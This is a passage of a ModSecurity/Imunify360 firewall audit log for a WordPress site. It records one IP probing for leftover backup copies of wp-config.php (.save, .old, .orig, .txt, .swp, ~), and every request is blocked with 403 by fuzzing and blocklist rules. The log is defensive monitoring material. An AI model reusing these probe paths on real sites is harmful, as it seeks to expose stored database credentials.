Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZrnDTJ6xTvcJoem7f6qgAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZrnDTJ6xTvcJoem7f6qgAAAFE"]
Action: Intercepted (phase 2)
Stopwatch: 1789291420036200 58187 (- - -)
Stopwatch2: 1789291420036200 58187; combined=56915, p1=258, p2=56306, p3=0, p4=0, p5=351, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5faffa7b-Z--

--d3a0b65f-A--
[13/Sep/2026:12:23:52.793287 +0300] aqZrqEwu1RSkptiiNIX4WQAAAIo 36.77.210.5 48066 127.0.0.1 7081
--d3a0b65f-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--d3a0b65f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d3a0b65f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZrqEwu1RSkptiiNIX4WQAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZrqEwu1RSkptiiNIX4WQAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291432734425 58925 (- - -)
Stopwatch2: 1789291432734425 58925; combined=57158, p1=344, p2=56462, p3=0, p4=0, p5=351, sr=164, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d3a0b65f-Z--

--9d2d026a-A--
[13/Sep/2026:12:23:53.800961 +0300] aqZrqUwu1RSkptiiNIX4WgAAAIA 36.77.210.5 48068 127.0.0.1 7081
--9d2d026a-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--9d2d026a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9d2d026a-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZrqUwu1RSkptiiNIX4WgAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZrqUwu1RSkptiiNIX4WgAAAIA"]
Action: Intercepted (phase 2)
Stopwatch: 1789291433736103 64913 (- - -)
Stopwatch2: 1789291433736103 64913; combined=59735, p1=547, p2=58689, p3=0, p4=0, p5=499, sr=220, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9d2d026a-Z--

--fed81934-A--
[13/Sep/2026:12:23:54.755822 +0300] aqZrqmM7dE9KgIIOpQh0mQAAANM 36.77.210.5 48076 127.0.0.1 7081
--fed81934-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--fed81934-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fed81934-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZrqmM7dE9KgIIOpQh0mQAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZrqmM7dE9KgIIOpQh0mQAAANM"]
Action: Intercepted (phase 2)
Stopwatch: 1789291434695117 60755 (- - -)
Stopwatch2: 1789291434695117 60755; combined=59471, p1=238, p2=58807, p3=0, p4=0, p5=425, sr=118, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fed81934-Z--

--c279012f-A--
[13/Sep/2026:12:23:55.730118 +0300] aqZrq0wu1RSkptiiNIX4WwAAAIw 36.77.210.5 47562 127.0.0.1 7081
--c279012f-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--c279012f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c279012f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZrq0wu1RSkptiiNIX4WwAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZrq0wu1RSkptiiNIX4WwAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789291435673286 56885 (- - -)
Stopwatch2: 1789291435673286 56885; combined=55417, p1=348, p2=54681, p3=0, p4=0, p5=387, sr=137, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c279012f-Z--

--704d9b65-A--
[13/Sep/2026:12:23:56.828199 +0300] aqZrrEwu1RSkptiiNIX4XAAAAJM 36.77.210.5 47564 127.0.0.1 7081
--704d9b65-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--704d9b65-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--704d9b65-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZrrEwu1RSkptiiNIX4XAAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZrrEwu1RSkptiiNIX4XAAAAJM"]
Action: Intercepted (phase 2)
Stopwatch: 1789291436764264 63990 (- - -)
Stopwatch2: 1789291436764264 63990; combined=56580, p1=372, p2=55800, p3=0, p4=0, p5=407, sr=126, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--704d9b65-Z--

--a3346f7f-A--
[13/Sep/2026:12:25:00.623356 +0300] aqZr7Ewu1RSkptiiNIX4ZgAAAIo 36.77.210.5 43170 127.0.0.1 7081
--a3346f7f-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--a3346f7f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a3346f7f-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZr7Ewu1RSkptiiNIX4ZgAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZr7Ewu1RSkptiiNIX4ZgAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291500558344 65076 (- - -)
Stopwatch2: 1789291500558344 65076; combined=63767, p1=257, p2=63187, p3=0, p4=0, p5=322, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a3346f7f-Z--

--936b1a26-A--
[13/Sep/2026:12:25:06.451554 +0300] aqZr8mM7dE9KgIIOpQh0qAAAANU 36.77.210.5 48470 127.0.0.1 7081
--936b1a26-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--936b1a26-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--936b1a26-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZr8mM7dE9KgIIOpQh0qAAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZr8mM7dE9KgIIOpQh0qAAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789291506374302 77394 (- - -)
Stopwatch2: 1789291506374302 77394; combined=62650, p1=380, p2=58255, p3=0, p4=0, p5=4014, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--936b1a26-Z--

--74b6836b-A--
[13/Sep/2026:12:25:13.552490 +0300] aqZr@Uwu1RSkptiiNIX4aAAAAJc 36.77.210.5 48496 127.0.0.1 7081
--74b6836b-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--74b6836b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--74b6836b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZr@Uwu1RSkptiiNIX4aAAAAJc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZr@Uwu1RSkptiiNIX4aAAAAJc"]
Action: Intercepted (phase 2)
Stopwatch: 1789291513490428 62103 (- - -)
Stopwatch2: 1789291513490428 62103; combined=60655, p1=317, p2=60023, p3=0, p4=0, p5=314, sr=162, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74b6836b-Z--

--b7435307-A--
[13/Sep/2026:12:25:19.219819 +0300] aqZr-0wu1RSkptiiNIX4agAAAJY 36.77.210.5 33710 127.0.0.1 7081
--b7435307-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--b7435307-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b7435307-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZr-0wu1RSkptiiNIX4agAAAJY"]
